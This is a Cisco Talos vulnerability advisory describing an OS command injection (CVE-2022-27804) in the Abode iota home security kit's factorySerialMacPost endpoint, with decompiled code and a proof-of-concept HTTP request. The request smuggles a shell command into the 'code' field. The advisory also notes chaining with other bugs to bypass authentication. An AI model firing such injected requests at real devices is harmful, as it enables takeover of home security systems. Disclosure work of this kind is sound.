Talos Vulnerability Report

TALOS-2022-1567

Abode Systems, Inc. iota All-In-One Security Kit web interface util_set_abode_code OS command injection vulnerability

OCTOBER 20, 2022

CVE NUMBER

CVE-2022-27804

SUMMARY

An os command injection vulnerability exists in the web interface util_set_abode_code functionality of Abode Systems, Inc. iota All-In-One Security Kit 6.9X and 6.9Z. A specially-crafted HTTP request can lead to arbitrary command execution. An attacker can send an HTTP request to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

abode systems, inc. iota All-In-One Security Kit 6.9X
abode systems, inc. iota All-In-One Security Kit 6.9Z

PRODUCT URLS

iota All-In-One Security Kit - https://goabode.com/product/iota-security-kit

CVSSV3 SCORE

8.0 - CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

DETAILS

The iota All-In-One Security Kit is a home security gateway containing an HD camera, infrared motion detection sensor, Ethernet, WiFi and Cellular connectivity. The iota gateway orchestrates communications between sensors (cameras, door and window alarms, motion detectors, etc.) distributed on the LAN and the Abode cloud. Users of the iota can communicate with the device through mobile application or web application.

The `iota` device is configured at the factory with a value called ‘ABODE_CODE’. This value is stored into the `bootargs` variable in the U-Boot environment, which is ultimately passed to the kernel as its command line. The test device did not have this value set at the time of testing.

The device exposes a method for initializing or modifying this value through the `/action/factorySerialMacPost` endpoint, which relies on an underlying function titled `utils_set_abode_code` to make the underlying configuration change to the U-Boot environment.

In order to enable the web interface either TALOS-2022-1552 or TALOS-2022-1553 may be used, and access to this endpoint can be conducted without knowledge of the username or password using TALOS-2022-1554.

When an HTTP request is submitted to `/action/factorySerialMacPost` it will reach the designated handler function located at offset `0x19BEBC` of the `/root/hpgw` in firmware 6.9Z. The relevant portions of the decompilation of this function have been included, with annotations, below.

```
int __fastcall factorySerialMacPost(mg_connection *conn, mg_request_info *ri)
{
  int payload_len;
  unsigned int idx;
  _BYTE *mac;
  unsigned __int8 *mac;
  char serial_no[64];
  char mac_addr[64];
  int abode_code[16];
  char payload[280];

  payload_len = http_collect_payload(conn, ri, payload, 256);
  memset(serial_no, 0, sizeof(serial_no));

  // [1] Extract the `serial` and `mac` values from the POST payload
  mg_get_var(payload, payload_len, "serial", serial_no, 0x3F);
  memset(mac_addr, 0, sizeof(mac_addr));
  mg_get_var(payload, payload_len, "mac", mac_addr, 0x3F);

  // [2] If `serial` (and `mac`) parameters exist
  if ( serial_no[0] && mac_addr[0] )
  {
    ...
    util_set_serial_mac(serial_no, mac);
    memset(abode_code, 0, sizeof(abode_code));

    // [3] Extract the `code` parameter
    mg_get_var(payload, payload_len, "code", abode_code, 0x3F);

    // [4] Call the vulnerable function
    util_set_abode_code(abode_code);
    sync();
    sync();
    sync();
    return web_success(conn);
  }
  else
  {
    err_str = strtable_get("WEB_ERR_PARAM_EMPTY", 19);
    return web_error(conn, 0, err_str, "Serial or Mac");
  }
}
```

At `[1]` the `serial` and `mac` parameters are extracted from the HTTP request and checked at `[2]` for their existence. If they exist, then at `[3]` a third parameter, `code`, is extracted from the HTTP request. At `[4]` this `code` parameter is passed into the vulnerable `util_set_abode_code` function.

The `util_set_abode_code` function is at offset `0xA8E74` in version 6.9Z. It expects a single argument, `code`, and uses the helper binaries of `fw_printenv` and `fw_setenv` to read and write to the U-Boot `bootargs` environment variable. The relevant portions of the decompiled function are included below.

```
int __fastcall util_set_abode_code(char *code)
{
  char *contains_abode_code; // r6
  char *original; // r0
  char *key; // r0 MAPDST
  size_t end; // r0 MAPDST
  char *value; // r1
  size_t v11; // r0
  size_t v12; // r0
  size_t v13; // r0
  char *v14; // r0
  char bootargs[512]; // [sp+0h] [bp-610h] BYREF
  char modified[512]; // [sp+200h] [bp-410h] BYREF
  char command[528]; // [sp+400h] [bp-210h] BYREF

  if ( !dir_exists("/var/lock") )
    mkdir("/var/lock", 0x1FDu);
  memset(bootargs, 0, sizeof(bootargs));
  // [1] Collect the original bootargs value using `fw_printenv`
  if ( popen_read("/gm/tools/env/fw_printenv -n bootargs", bootargs, 511) > 0 &&
bootargs[0] )
  {
    bootargs[strcspn(bootargs, "\n")] = 0;
    contains_abode_code = strstr(bootargs, "ABODE_CODE=");
    memset(modified, 0, sizeof(modified));
    // [2] If `ABODE_CODE` is already a key in the bootargs ...
    if ( contains_abode_code )
    {
      // [3] Tokenize the bootargs into `key=value` pairs
      for ( original = bootargs; ; original = 0 )
      {
        key = strtok(original, " ");
        if ( !key )
          break;
        // [4] If the current key is ABODE_CODE
        if ( startswith(key, "ABODE_CODE=") )
        {
          // [5] Then update the `modified` bootargs with the new `code`, dropping
the existing code
          end = strlen(modified);
          strncpy_0(&modified[end], "ABODE_CODE=", 511);
          end = strlen(modified);
          value = code;
        }
        else
        {
          // [6] otherwise prepare to append the current key/value pair without
modification
          end = strlen(modified);
          value = key;
        }
        // [7] Construct the modified bootargs with the previously configured value
        strncpy_0(&modified[end], value, 511);
        end = strlen(modified);
        strncpy_0(&modified[end], " ", 511);
      }
    }
    // [8] Otherwise, an ABODE_CODE is not already set (as was the case with the
```

```
target device)
    else
    {
      // [9] Append ABODE_CODE={code} to the modified bootargs buffer
      strncpy_0(modified, bootargs, 511);
      end = strlen(modified);
      strncpy_0(&modified[end], " ", 511);
      end = strlen(modified);
      strncpy_0(&modified[end], "ABODE_CODE=", 511);
      end = strlen(modified);
      strncpy_0(&modified[end], code, 511);
    }
    v14 = &command[strlen(modified) + 511];
    if ( *(v14 - 1024) == 32 )
      *(v14 - 1024) = 0;
    if ( modified[0] )
    {
      // [10] Construct and execute a command using the existing `bootargs` modified
with the attacker-controlled `code`
      memset(command, 0, 0x200u);
      vsnprintf_nullterm(command, 0x1FFu, "/gm/tools/env/fw_setenv bootargs %s",
modified);
      popen_write(command);
    }
    return 0;
  }
  else
  {
    log(4, 20, "\x1B[33mutil_set_abode_code failed on fw_printenv or no
bootargs\x1B[0m");
    return -1;
  }
}
```

This function works by `[1]` extracting the current `bootargs` value from the U-Boot env by calling `/gm/tools/env/fw_printenv -n bootargs`. On the device under test, this returns `mem=128M gmmem=90M console=ttyS0,115200 user_debug=31 init=/squashfs_init root=/dev/mtdblock2 rootfstype=squashfs ethaddr=B0:C5:CA:XX:XX:XX climax_product=Z3,XXXX,YYYY,ZZZZ`. Observe that the device under test does not have an ABODE_CODE, so our code will initially take the second path, beginning at `[8]`. It's important to note that the presence or absence of the `ABODE_CODE` key in `bootargs` is irrelevant to the vulnerability, as both will result in exploitation. At `[9]` the attacker-supplied `code` will be appended to the existing `bootargs` and placed into the `modified` buffer, which is used to construct a command that will be executed via `popen` at `[10]`

A maliciously-formatted and authenticated web request submitted to this endpoint will result in arbitrary command execution inside the `util_set_abode_code` function.

Exploit Proof of Concept

```
POST /action/factorySerialMacPost HTTP/1.1
Host: 10.1.1.201
X-Climax-Tag: Factory-27940001-21245121
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/100.0.4896.127 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/ap
ng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Length: 1326

mac=b0:c5:ca:00:00:00&serial=Z3,XXXX,YYYY,ZZZZ&code=%3b+sleep+10+%23
```

TIMELINE

2022-07-14 - Vendor Disclosure

2022-10-20 - Public Release

CREDIT

Discovered by Matt Wiseman of Cisco Talos.
